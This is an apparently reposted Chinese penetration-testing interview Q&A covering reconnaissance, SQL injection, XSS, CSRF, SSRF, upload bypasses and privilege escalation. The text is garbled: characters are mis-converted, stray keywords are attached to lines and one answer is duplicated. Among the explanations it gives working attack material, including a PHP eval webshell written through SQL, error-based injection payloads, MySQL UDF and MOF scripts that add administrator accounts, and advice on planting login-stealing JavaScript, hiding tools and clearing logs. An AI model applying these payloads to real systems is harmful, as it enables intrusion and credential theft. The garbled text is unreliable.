文章來自Github-做者Mr-xn:javascript
滲透測試面試問題2019版php
https://github.com/Mr-xn/BurpSuite-collections/blob/master/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%A2%E8%AF%95%E9%97%AE%E9%A2%982019%E7%89%88.mdcss
全文約14300字前端
閱讀可會花大量時間java
不妨先保存node
微信排版不易mysql
原做者編輯不易linux
老哥們記得給個starnginx
和再看哦git
日誌、測試數據的清理 總結,輸出滲透測試報告,附修復方案
驗證並發現是否有新漏洞,輸出報告,歸檔
1.拿到一個待檢測的站,你以爲應該先作什麼?
a、信息收集 一、獲取域名的whois信息,獲取註冊者郵箱姓名電話等,丟社工庫裏看看有沒有泄露密碼,而後嘗試用泄露的密碼進行登陸後臺。用郵箱作關鍵詞進行丟進搜索引擎。利用搜索到的關聯信息找出其餘郵箱進而獲得經常使用社交帳號。社工找出社交帳號,裏面或許會找出管理員設置密碼的習慣 。利用已有信息生成專用字典。 二、查詢服務器旁站以及子域名站點,由於主站通常比較難,因此先看看旁站有沒有通用性的cms或者其餘漏洞。 三、查看服務器操做系統版本,web中間件,看看是否存在已知的漏洞,好比IIS,APACHE,NGINX的解析漏洞 四、查看IP,進行IP地址端口掃描,對響應的端口進行漏洞探測,好比 rsync,心臟出血,mysql,ftp,ssh弱口令等。 五、掃描網站目錄結構,看看是否能夠遍歷目錄,或者敏感文件泄漏,好比php探針 六、google hack 進一步探測網站的信息,後臺,敏感文件
b、漏洞掃描 開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含,遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等
c、漏洞利用 利用以上的方式拿到webshell,或者其餘權限
d、權限提高 提權服務器,好比windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux髒牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低權限提權
e、日誌清理
f、總結報告及修復方案
2.判斷出網站的CMS對滲透有什麼意義?
查找網上已曝光的程序漏洞。
若是開源,還能下載相對應的源碼進行代碼審計。
3.一個成熟而且相對安全的CMS,滲透時掃目錄的意義?
敏感文件、二級目錄掃描
站長的誤操做好比:網站備份的壓縮文件、說明.txt、二級目錄可能存放着其餘站點
4.常見的網站服務器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入點,用工具對目標站直接寫入一句話,須要哪些條件?
root權限以及網站的絕對路徑。
6.目前已知哪些版本的容器有解析漏洞,具體舉例。
a、IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夾名
b、IIS 7.0/7.5 默認Fast-CGI開啓,直接在url中圖片地址後面輸入/1.php,會把正常圖片當成php解析
c、Nginx 版本小於等於0.8.37,利用方法和IIS 7.0/7.5同樣,Fast-CGI關閉狀況下也可利用。空字節代碼 xxx.jpg.php
d、Apache 上傳的文件命名爲:test.php.x1.x2.x3,Apache是從右往左判斷後綴
e、lighttpd xx.jpg/xx.php,不全,請小夥伴們在評論處不吝補充,謝謝!
7.如何手工快速判斷目標站是windows仍是linux服務器?
linux大小寫敏感,windows大小寫不敏感。
8.爲什麼一個mysql數據庫的站,只有一個80端口開放?
更改了端口,沒有掃描出來。
站庫分離。
3306端口不對外開放
九、3389沒法鏈接的幾種狀況
沒開放3389 端口 端口被修改 防禦攔截 處於內網(需進行端口轉發)
10.如何突破注入時字符被轉義?
寬字符注入 hex編碼繞過
11.在某後臺新聞編輯界面看到編輯器,應該先作什麼?
查看編輯器的名稱版本,而後搜索公開的漏洞。
12.拿到一個webshell發現網站根目錄下有.htaccess文件,咱們能作什麼?
能作的事情不少,用隱藏網馬來舉例子: 插入 <FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php .jpg文件會被解析成.php文件。
具體其餘的事情,很差詳說,建議你們本身去搜索語句來玩玩。
13.注入漏洞只能查帳號密碼?
只要權限廣,拖庫脫到老。
14.安全狗會追蹤變量,從而發現出是一句話木馬嗎?
是根據特徵碼,因此很好繞過了,只要思路寬,繞狗繞到歡,但這應該不會是一成不變的。
**15.access 掃出後綴爲asp的數據庫文件,訪問亂碼,**如何實現到本地利用?
迅雷下載,直接改後綴爲.mdb。
16.提權時選擇可讀寫目錄,爲什麼儘可能不用帶空格的目錄?
由於exp執行多半須要空格界定參數
17.某服務器有站點A,B 爲什麼在A的後臺添加test用戶,訪問B的後臺。發現也添加上了test用戶?
同數據庫。
18.注入時能夠不使用and 或or 或xor,直接order by 開始注入嗎?
and/or/xor,前面的1=一、1=2步驟只是爲了判斷是否爲注入點,若是已經肯定是注入點那就能夠省那步驟去。
19:某個防注入系統,在注入時會提示:
系統檢測到你有非法注入的行爲。 已記錄您的ip xx.xx.xx.xx 時間:2016:01-23 提交頁面:test.asp?id=15 提交內容:and 1=1
20、如何利用這個防注入系統拿shell?
在URL裏面直接提交一句話,這樣網站就把你的一句話也記錄進數據庫文件了 這個時候能夠嘗試尋找網站的配置文件 直接上菜刀連接。
21.上傳大馬後訪問亂碼時,有哪些解決辦法?
瀏覽器中改編碼。
22.審查上傳點的元素有什麼意義?
有些站點的上傳文件類型的限制是在前端實現的,這時只要增長上傳類型就能突破限制了。
23.目標站禁止註冊用戶,找回密碼處隨便輸入用戶名提示:「此用戶不存在」,你以爲這裏怎樣利用?
先爆破用戶名,再利用被爆破出來的用戶名爆破密碼。 其實有些站點,在登錄處也會這樣提示 全部和數據庫有交互的地方都有可能有注入。
24.目標站發現某txt的下載地址爲 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什麼思路?
這就是傳說中的下載漏洞!在file=後面嘗試輸入index.php下載他的首頁文件,而後在首頁文件裏繼續查找其餘網站的配置文件,能夠找出網站的數據庫密碼和數據庫的地址。
25.甲給你一個目標站,而且告訴你根目錄下存在/abc/目錄,而且此目錄下存在編輯器和admin目錄。請問你的想法是?
直接在網站二級目錄/abc/下掃描敏感文件及目錄。
26.在有shell的狀況下,如何使用xss實現對目標站的長久控制?
後臺登陸處加一段記錄登陸帳號密碼的js,而且判斷是否登陸成功,若是登陸成功,就把帳號密碼記錄到一個生僻的路徑的文件中或者直接發到本身的網站文件中。(此方法適合有價值而且須要深刻控制權限的網絡)。
在登陸後才能夠訪問的文件中插入XSS腳本。
27.後臺修改管理員密碼處,原密碼顯示爲*。你以爲該怎樣實現讀出這個用戶的密碼?
審查元素 把密碼處的password屬性改爲text就明文顯示了
28.目標站無防禦,上傳圖片能夠正常訪問,上傳腳本格式訪問則403.什麼緣由?
緣由不少,有可能web服務器配置把上傳目錄寫死了不執行相應腳本,嘗試改後綴名繞過
29.審查元素得知網站所使用的防禦軟件,你以爲怎樣作到的?
在敏感操做被攔截,經過界面信息沒法具體判斷是什麼防禦的時候,F12看HTML體部 好比護衛神就能夠在名稱那看到內容。
30.在win2003服務器中創建一個 .zhongzi文件夾用意何爲?
隱藏文件夾,爲了避免讓管理員發現你傳上去的工具。
3一、sql注入有如下兩個測試選項,選一個而且闡述不選另外一個的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 選B,在 URL 編碼中 + 表明空格,可能會形成混淆
3二、如下連接存在 sql 注入漏洞,對於這個變形注入,你有什麼思路?
demo.do?DATA=AjAxNg== DATA有可能通過了 base64 編碼再傳入服務器,因此咱們也要對參數進行 base64 編碼才能正確完成測試
3三、發現 demo.jsp?uid=110 注入點,你有哪幾種思路獲取 webshell,哪一種是優選?
有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,能夠將查詢的輸出重定向到系統的文件中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接得到一個 Shell,這樣效率更高 經過構造聯合查詢語句獲得網站管理員的帳戶和密碼,而後掃後臺登陸後臺,再在後臺經過改包上傳等方法上傳 Shell
3四、CSRF 和 XSS 和 XXE 有什麼區別,以及修復方式?
XSS是跨站腳本攻擊,用戶提交的數據中能夠構造代碼來執行,從而實現竊取用戶信息等攻擊。修復方式:對字符實體進行轉義、使用HTTP Only來禁止JavaScript讀取Cookie值、輸入時校驗、瀏覽器與Web應用端採用相同的字符編碼。
CSRF是跨站請求僞造攻擊,XSS是實現CSRF的諸多手段中的一種,是因爲沒有在關鍵操做執行時進行是否由用戶自願發起的確認。修復方式:篩選出須要防範CSRF的頁面而後嵌入Token、再次輸入密碼、檢驗Referer XXE是XML外部實體注入攻擊,XML中能夠經過調用實體來請求本地或者遠程內容,和遠程文件保護相似,會引起相關安全問題,例如敏感文件讀取。修復方式:XML解析庫在調用時嚴格禁止對外部實體的解析。
3五、CSRF、SSRF和重放攻擊有什麼區別?
CSRF是跨站請求僞造攻擊,由客戶端發起 SSRF是服務器端請求僞造,由服務器發起 重放攻擊是將截獲的數據包進行重放,達到身份認證等目的
3六、說出至少三種業務邏輯漏洞,以及修復方式?
密碼找回漏洞中存在
1)密碼容許暴力破解、
2)存在通用型找回憑證、
3)能夠跳過驗證步驟、
4)找回憑證能夠攔包獲取
等方式來經過廠商提供的密碼找回功能來獲得密碼。身份認證漏洞中最多見的是
1)會話固定攻擊
2) Cookie 仿冒
只要獲得 Session 或 Cookie 便可僞造用戶身份。驗證碼漏洞中存在
1)驗證碼容許暴力破解
2)驗證碼能夠經過 Javascript 或者改包的方法來進行繞過
3七、圈出下面會話中可能存在問題的項,並標註可能會存在的問題?
get /ecskins/demo.jsp?uid=2016031900&keyword=」hello world」 HTTP/1.1Host:***.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3 Referer:http://*******.com/eciop/orderForCC/ cgtListForCC.htm?zone=11370601&v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive
有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,能夠將查詢的輸出重定向到系統的文件中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接得到一個 Shell,這樣效率更高 經過構造聯合查詢語句獲得網站管理員的帳戶和密碼,而後掃後臺登陸後臺,再在後臺經過改包上傳等方法上傳 Shell
3八、給你一個網站你是如何來滲透測試的?在獲取書面受權的前提下。
3九、sqlmap,怎麼對一個注入點注入? 1)若是是get型號,直接,sqlmap -u "諸如點網址". 2) 若是是post型諸如點,能夠sqlmap -u "注入點網址」 --data="post的參數" 3)若是是cookie,X-Forwarded-For等,能夠訪問的時候,用burpsuite抓包,注入處用號替換,放到文件裏,而後sqlmap -r "文件地址"
40、nmap,掃描的幾種方式
4一、sql注入的幾種類型? 1)報錯注入 2)bool型注入 3)延時注入 4)寬字節注入 4二、報錯注入的函數有哪些?10個
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】 2)經過floor報錯 向下取整 3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b)); 5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b)); 6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b)); 7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b)); 8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); 9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b)); 10).exp()select from test where id=1 and exp(~(select * from(select user())a));
4三、延時注入如何來判斷?
if(ascii(substr(「hello」, 1, 1))=104, sleep(5), 1)
4四、盲注和延時注入的共同點?都是一個字符一個字符的判斷
4五、如何拿一個網站的webshell?上傳,後臺編輯模板,sql注入寫文件,命令執行,代碼執行, 一些已經爆出的cms漏洞,好比dedecms後臺能夠直接創建腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
4六、sql注入寫文件都有哪些函數?
select '一句話' into outfile '路徑' select '一句話' into dumpfile '路徑' select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
4七、如何防止CSRF? 1,驗證referer 2,驗證token 詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
4八、owasp 漏洞都有哪些? 一、SQL注入防禦方法: 二、失效的身份認證和會話管理 三、跨站腳本攻擊XSS 四、直接引用不安全的對象 五、安全配置錯誤 六、敏感信息泄露 七、缺乏功能級的訪問控制 八、跨站請求僞造CSRF 九、使用含有已知漏洞的組件 十、未驗證的重定向和轉發
4九、SQL注入防禦方法? 一、使用安全的API 二、對輸入的特殊字符進行Escape轉義處理 三、使用白名單來規範化輸入驗證方法 四、對客戶端輸入進行控制,不容許輸入SQL注入相關的特殊字符 五、服務器端在提交數據庫進行SQL查詢以前,對特殊字符進行過濾、轉義、替換、刪除。
50、代碼執行,文件讀取,命令執行的函數都有哪些?
1)代碼執行: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function 2)文件讀取: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令執行: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
5一、img標籤除了onerror屬性外,還有其餘獲取管理員路徑的辦法嗎? src指定一個遠程的腳本文件,獲取referer
5二、img標籤除了onerror屬性外,而且src屬性的後綴名,必須以.jpg結尾,怎麼獲取管理員路徑。
1)遠程服務器修改apache配置文件,配置.jpg文件以php方式來解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 會以php方式來解析
5三、爲何aspx木馬權限比asp大?
aspx使用的是.net技術。IIS 中默認不支持,ASP只是腳本語言而已。入侵的時候asp的木馬通常是guest權限…APSX的木馬通常是users權限。
5四、如何繞過waf?
大小寫轉換法
干擾字符 /*!*/
編碼 base64 unicode hex url ascll
復參數
5五、如何向服務器寫入webshell?
各類上傳漏洞
mysql具備寫入權限,用sql語句寫入shell
http put方法
5六、滲透測試中常見的端口
a、web類(web漏洞/敏感目錄) 第三方通用組件漏洞struts thinkphp jboss ganglia zabbix
80 web 80-89 web 8000-9090 web
b、數據庫類(掃描弱口令)
1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQL
c、特殊服務類(未受權/命令執行類/漏洞)
443 SSL心臟滴血 873 Rsync未受權 5984 CouchDB http://xxx:5984/_utils/ 6379 redis未受權 7001,7002 WebLogic默認弱口令,反序列 9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞 11211 memcache未受權訪問 27017,27018 Mongodb未受權訪問 50000 SAP命令執行 50070,50030 hadoop默認端口未受權訪問
d、經常使用端口類(掃描弱口令/端口爆破)
21 ftp 22 SSH 23 Telnet 2601,2604 zebra路由,默認密碼zebra 3389 遠程桌面
ALL、端口合計詳情
21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL心臟滴血以及一些web漏洞測試 445 SMB 512,513,514 Rexec 873 Rsync未受權 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主機管理系統登錄 (國外用較多) 2222 DA虛擬主機管理系統登錄 (國外用較多) 2601,2604 zebra路由,默認密碼zebra 3128 squid代理默認端口,若是沒設置口令極可能就直接漫遊內網了 3306 MySQL 3312/3311 kangle主機管理系統登錄 3389 遠程桌面 4440 rundeck 參考WooYun: 借用新浪某服務成功漫遊新浪內網 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未受權訪問易致使網站被直接篡改或者做爲代理進入內網 6379 redis未受權 7001,7002 WebLogic默認弱口令,反序列 7778 Kloxo主機控制面板登陸 8000-9090 都是一些常見的web端口,有些運維喜歡把管理後臺開在這些非80的端口上 8080 tomcat/WDCP主機管理系統,默認弱口令 8080,8089,9090 JBOSS 8083 Vestacp主機管理系統 (國外用較多) 8649 ganglia 8888 amh/LuManager 主機管理系統默認端口 9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞 10000 Virtualmin/Webmin 服務器虛擬主機管理系統 11211 memcache未受權訪問 27017,27018 Mongodb未受權訪問 28017 mongodb統計頁面 50000 SAP命令執行 50070,50030 hadoop默認端口未受權訪問
一、使用安全的API 二、對輸入的特殊字符進行Escape轉義處理 三、使用白名單來規範化輸入驗證方法 四、對客戶端輸入進行控制,不容許輸入SQL注入相關的特殊字符 五、服務器端在提交數據庫進行SQL查詢以前,對特殊字符進行過濾、轉義、替換、刪除。 六、規範編碼,字符集
原理:
使用參數化查詢數據庫服務器不會把參數的內容看成sql指令的一部分來執行,是在數據庫完成sql指令的編譯後才套用參數運行
簡單的說: 參數化能防注入的緣由在於,語句是語句,參數是參數,參數的值並非語句的一部分,數據庫只按語句的語義跑
UA REFERER COOKIE IP
盲注是在SQL注入攻擊過程當中,服務器關閉了錯誤回顯,咱們單純經過服務器返回內容的變化來判斷是否存在SQL注入和利用的方式。盲注的手段有兩種,一個是經過頁面的返回內容是否正確(boolean-based),來驗證是否存在注入。一個是經過sql語句處理時間的不一樣來判斷是否存在注入(time-based),在這裏,能夠用benchmark,sleep等形成延時效果的函數,也能夠經過構造大笛卡兒積的聯合查詢表來達到延時的目的。
在數據庫使用了寬字符集而WEB中沒考慮這個問題的狀況下,在WEB層,因爲0XBF27是兩個字符,在PHP中好比addslash和magic_quotes_gpc開啓時,因爲會對0x27單引號進行轉義,所以0xbf27會變成0xbf5c27,而數據進入數據庫中時,因爲0XBF5C是一個另外的字符,所以\轉義符號會被前面的bf帶着"吃掉",單引號由此逃逸出來能夠用來閉合語句。
character_set_client(客戶端的字符集)和character_set_connection(鏈接層的字符集)不一樣,或轉換函數如,iconv、mb_convert_encoding使用不當。
統一數據庫、Web應用、操做系統所使用的字符集,避免解析產生差別,最好都設置爲UTF-8。或對數據進行正確的轉義,如mysql_real_escape_string+mysql_set_charset的使用。
先理解這句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
若是此 SQL 被修改爲如下形式,就實現了注入
a、修改 homepage 值爲http://xxx.net', userlevel='3
以後 SQL 語句變爲
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 爲用戶級別
b、修改 password 值爲mypass)' WHERE username='admin'#
以後 SQL 語句變爲
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
c、修改 id 值爲' OR username='admin'
以後 SQL 語句變爲
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
寫shell: root權限,GPC關閉,知道文件路徑 outfile函數
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'` `http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`
寬字節注入
%0a、%0b、%a0 等 /**/ 等註釋符 <>
5.0如下沒有information_schema這個系統表,沒法列表名等,只能暴力跑表名。
5.0如下是多用戶單操做,5.0以上是多用戶多操作。
用戶提交的數據中能夠構造代碼來執行,從而實現竊取用戶信息等攻擊。須要誘使用戶「點擊」一個惡意連接,才能攻擊成功
存儲型XSS會把用戶輸入的數據「存儲」在服務器端。這種XSS具備很強的穩定性。
經過修改頁面的DOM節點造成的XSS,稱之爲DOM Based XSS。
反射型XSS:經過誘導用戶點擊,咱們構造好的惡意payload纔會觸發的XSS。反射型XSS的檢測咱們在每次請求帶payload的連接時頁面應該是會帶有特定的畸形數據的。DOM型:經過修改頁面的DOM節點造成的XSS。DOM-based XSS因爲是經過js代碼進行dom操做產生的XSS,因此在請求的響應中咱們甚至不必定會獲得相應的畸形數據。根本區別在我看來是輸出點的不一樣。
人工測試思路:找到相似document.write、innerHTML賦值、outterHTML賦值、window.location操做、寫javascript:後內容、eval、setTimeout 、setInterval 等直接執行之類的函數點。找到其變量,回溯變量來源觀察是否可控,是否通過安全函數。自動化測試參看道哥的博客,思路是從輸入入手,觀察變量傳遞的過程,最終檢查是否有在危險函數輸出,中途是否有通過安全函數。可是這樣就須要有一個javascript解析器,不然會漏掉一些經過js執行帶入的部份內容。
在回答這段問題的時候,因爲平時對客戶的檢測中,基本是憑藉不一樣功能點的功能加上經驗和直覺來進行檢測,對不一樣類型的XSS檢測方式實際上並無太過細分的標準化檢測方式,因此回答的很爛。。。
輸入點檢查:對用戶輸入的數據進行合法性檢查,使用filter過濾敏感字符或對進行編碼轉義,針對特定類型數據進行格式檢查。針對輸入點的檢查最好放在服務器端實現。
輸出點檢查:對變量輸出到HTML頁面中時,對輸出內容進行編碼轉義,輸出在HTML中時,對其進行HTMLEncode,若是輸出在Javascript腳本中時,對其進行JavascriptEncode。對使用JavascriptEncode的變量都放在引號中並轉義危險字符,data部分就沒法逃逸出引號外成爲code的一部分。還可使用更加嚴格的方法,對全部數字字母以外的字符都使用十六進制編碼。此外,要注意在瀏覽器中,HTML的解析會優先於Javascript的解析,編碼的方式也須要考慮清楚,針對不一樣的輸出點,咱們防護XSS的方法可能會不一樣,這點可能在以後的文章會作下總結。
除此以外,還有作HTTPOnly對Cookie劫持作限制。
正常狀況下,一個是產生XSS點的頁面不屬於self頁面,用戶之間產生交互行爲的頁面,均可能形成XSS Worm的產生。 不必定須要存儲型XSS
CSRF是跨站請求僞造攻擊,由客戶端發起,是因爲沒有在關鍵操做執行時進行是否由用戶自願發起的確認
驗證Referer 添加token
token安全等級更高,由於並非任何服務器均可以取得referer,若是從HTTPS跳到HTTP,也不會發送referer。而且FLASH一些版本中能夠自定義referer。可是token的話,要保證其足夠隨機且不可泄露。(不可預測性原則)
對header中的referer的驗證,一個是空referer,一個是referer過濾或者檢測不完善。爲了杜絕這種問題,在驗證的白名單中,正則規則應當寫完善。
引用一段請教前輩的回答:
針對token的攻擊,一是對它自己的攻擊,重放測試一次性、分析加密規則、校驗方式是否正確等,二是結合信息泄露漏洞對它的獲取,結合着發起組合攻擊
信息泄露有多是緩存、日誌、get,也有多是利用跨站
不少跳轉登陸的都依賴token,有一個跳轉漏洞加反射型跨站就能夠組合成登陸劫持了
另外也能夠結合着其它業務來描述token的安全性及設計很差怎麼被繞過好比搶紅包業務之類的
SSRF(Server-Side Request Forgery:服務器端請求僞造) 是一種由攻擊者構造造成由服務端發起請求的一個安全漏洞。通常狀況下,SSRF攻擊的目標是從外網沒法訪問的內部系統。(正是由於它是由服務端發起的,因此它可以請求到與它相連而與外網隔離的內部系統)
SSRF 造成的緣由大都是因爲服務端提供了從其餘服務器應用獲取數據的功能且沒有對目標地址作過濾與限制。好比從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
SSRF漏洞的驗證方法:
1)由於SSRF漏洞是讓服務器發送請求的安全漏洞,因此咱們就能夠經過抓包分析發送的請求是不是由服務器的發送的,從而來判斷是否存在SSRF漏洞
2)在頁面源碼中查找訪問的資源地址 ,若是該資源地址類型爲 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]
成因:模擬服務器對其餘服務器資源進行請求,沒有作合法性驗證。利用:構造惡意內網IP作探測,或者使用其他所支持的協議對其他服務進行攻擊。防護:禁止跳轉,限制協議,內外網限制,URL限制。繞過:使用不一樣協議,針對IP,IP格式的繞過,針對URL,惡意URL增添其餘字符,@之類的。301跳轉+dns rebindding。
因爲程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而致使用戶能夠越過其自己權限向服務器上傳可執行的動態腳本文件
前端js驗證:禁用js/burp改包 大小寫 雙重後綴名 過濾繞過 pphphp->php
文件上傳目錄設置爲不可執行 使用白名單判斷文件上傳類型 用隨機數改寫文件名和路徑
有些站點的上傳文件類型的限制是在前端實現的,這時只要增長上傳類型就能突破限制了。
引入一段用戶能控制的腳本或代碼,並讓服務器端執行 include()等函數經過動態變量的方式引入須要包含的文件; 用戶可以控制該動態變量。
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,
可以打開幷包含本地文件的漏洞,被稱爲本地文件包含漏洞
單針對金融業務的 主要是數據的篡改(涉及金融數據,或部分業務的判斷數據),由競爭條件或者設計不當引發的薅羊毛,交易/訂單信息泄露,水平越權對別人的帳戶查看或惡意操做,交易或業務步驟繞過。
中間人攻擊是一個(缺少)相互認證的攻擊;因爲客戶端與服務器之間在SSL握手的過程當中缺少相互認證而形成的漏洞
防護中間人攻擊的方案一般基於一下幾種技術
1.公鑰基礎建設PKI 使用PKI相互認證機制,客戶端驗證服務器,服務器驗證客戶端;上述兩個例子中都是隻驗證服務器,這樣就形成了SSL握手環節的漏洞,而若是使用相互認證的的話,基本能夠更強力的相互認證
2.延遲測試
使用複雜加密哈希函數進行計算以形成數十秒的延遲;若是雙方一般狀況下都要花費20秒來計算,而且整個通信花費了60秒計算纔到達對方,這就能代表存在第三方中間人。
3.使用其餘形式的密鑰交換形式
每臺主機都有一個ARP緩存表,緩存表中記錄了IP地址與MAC地址的對應關係,而局域網數據傳輸依靠的是MAC地址。在ARP緩存表機制存在一個缺陷,就是當請求主機收到ARP應答包後,不會去驗證本身是否向對方主機發送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關係保存進ARP緩存表中,若是原有相同IP對應關係,原有的則會被替換。這樣攻擊者就有了偷聽主機傳輸的數據的可能
1.在主機綁定網關MAC與IP地址爲靜態(默認爲動態),命令:arp -s 網關IP 網關MAC
2.在網關綁定主機MAC與IP地址
3.使用ARP防火牆
利用合理的請求形成資源過載,致使服務不可用
僞造大量的源IP地址,分別向服務器端發送大量的SYN包,此時服務器端會返回SYN/ACK包,由於源地址是僞造的,因此僞造的IP並不會應答,服務器端沒有收到僞造IP的迴應,會重試3~5次而且等待一個SYNTime(通常爲30秒至2分鐘),若是超時則丟棄這個鏈接。攻擊者大量發送這種僞造源地址的SYN請求,服務器端將會消耗很是多的資源(CPU和內存)來處理這種半鏈接,同時還要不斷地對這些IP進行SYN+ACK重試。最後的結果是服務器無暇理睬正常的鏈接請求,致使拒絕服務。
對一些消耗資源較大的應用頁面不斷髮起正常的請求,以達到消耗服務端資源的目的。
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是爲每個IP地址分配一個「Cookie」,並統計每一個IP地址的訪問頻率。若是在短期內收到大量的來自同一個IP地址的數據包,則認爲受到攻擊,以後來自這個IP地址的包將被丟棄。
udf提權,mof提權
要求: 1.目標系統是Windows(Win2000,XP,Win2003);2.擁有MYSQL的某個用戶帳號,此帳號必須有對mysql的insert和delete權限以建立和拋棄函數 3.有root帳號密碼 導出udf: MYSQL 5.1以上版本,必需要把udf.dll文件放到MYSQL安裝目錄下的lib\plugin文件夾下才能建立自定義函數 能夠再mysql裏輸入select @@basedirshow variables like ‘%plugins%’
尋找mysql安裝路徑 提權:
使用SQL語句建立功能函數。語法:Create Function 函數名(函數名只能爲下面列表中的其中之一)returns string soname ‘導出的DLL路徑’;
create function cmdshell returns string soname ‘udf.dll’ select cmdshell(‘net user arsch arsch /add’); select cmdshell(‘net localgroup administrators arsch /add’); drop function cmdshell;
該目錄默認是不存在的,這就須要咱們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下建立lib\plugin文件夾,而後將udf.dll文件導出到該目錄便可。
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
其中的第18行的命令,上傳前請本身更改。
二、執行load_file及into dumpfile把文件導出到正確的位置便可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
執行成功後,便可添加一個普通用戶,而後你能夠更改命令,再上傳導出執行把用戶提高到管理員權限,而後3389鏈接之就ok了。
Redis 默認狀況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,若是在沒有開啓認證的狀況下,能夠致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未受權訪問 Redis 的狀況下能夠利用 Redis 的相關方法,能夠成功在 Redis 服務器上寫入公鑰,進而可使用對應私鑰直接登陸目標服務器
條件:
a、redis服務以root帳戶運行 b、redis無密碼或弱密碼進行認證 c、redis監聽在0.0.0.0公網上
方法:
a、經過 Redis 的 INFO 命令, 能夠查看服務器相關的參數和敏感信息, 爲攻擊者的後續滲透作鋪墊 b、上傳SSH公鑰得到SSH登陸權限 c、經過crontab反彈shell d、slave主從模式利用
密碼驗證 降權運行 限制ip/修改端口
攻擊者經過未受權訪問進入腳本命令執行界面執行攻擊指令
println "ifconfig -a".execute().text
執行一些系統命令,利用wget下載webshell
開啓MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,並且能夠遠程訪問數據庫,登陸的用戶能夠經過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操做。
